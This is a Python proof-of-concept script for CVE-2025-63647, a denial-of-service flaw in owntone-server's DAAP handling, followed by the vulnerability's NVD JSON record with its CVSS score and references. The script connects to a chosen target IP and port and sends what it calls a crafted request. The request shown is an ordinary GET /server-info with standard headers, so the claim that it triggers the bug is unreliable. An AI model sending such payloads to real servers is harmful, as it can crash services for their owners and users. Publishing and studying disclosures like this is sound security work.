CVE-2025-63647

#!/usr/bin/env python3 """ CVE-2025-63647 PoC - owntone-server NULL Pointer Dereference in parse_meta This PoC demonstrates sending a crafted DAAP request to trigger the vulnerability. Note: Use only for authorized security testing. """ import socket import struct def create_crafted_daap_request(): """ Create a crafted DAAP request to trigger NULL pointer dereference in parse_meta function (src/httpd_daap.c) """ # DAAP protocol header # The crafted request exploits the parse_meta function vulnerability request = b'GET /server-info HTTP/1.1\r\n' request += b'Content-Type: application/x-dmap-tagged\r\n' request += b'Host: target-server:3689\r\n' request += b'Client-DAAP-Version: 3.0\r\n' request += b'Accept-Language: en-us, en;q=0.5\r\n' request += b'\r\n' return request def send_exploit(target_ip, target_port=3689): """ Send the crafted exploit payload to target server """ try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print("[*] Sending crafted DAAP request...") payload = create_crafted_daap_request() sock.send(payload) print("[*] Payload sent. Waiting for response...") try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[*] No response received (server may have crashed)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_exploit(target, port)

{"cve": {"id": "CVE-2025-63647", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:04.220", "lastModified": "2026-02-13T21:25:39.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the parse_meta function (src/httpd_daap.c) of owntone-server commit 334beb allows attackers to cause a Denial of Service (DoS) via sending a crafted DAAP request to the server."}, {"lang": "es", "value": "Una desreferencia de puntero NULL en la función parse_meta (src/httpd_daap.c) de owntone-server commit 334beb permite a los atacantes causar una denegación de servicio (DoS) mediante el envío de una solicitud DAAP manipulada al servidor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "28.3", "matchCriteriaId": "56961A90-0733-452C-A5C0-278018381667"}]}]}], "references": [{"url": "https://github.com/archersec/poc/tree/master/owntone-server", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2025.md", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/owntone/owntone-server/commit/53ee9a3c3921e5448f502800c4dfa787865f6cb7", "source": "[email protected]", "tags": ["Patch"]}]}}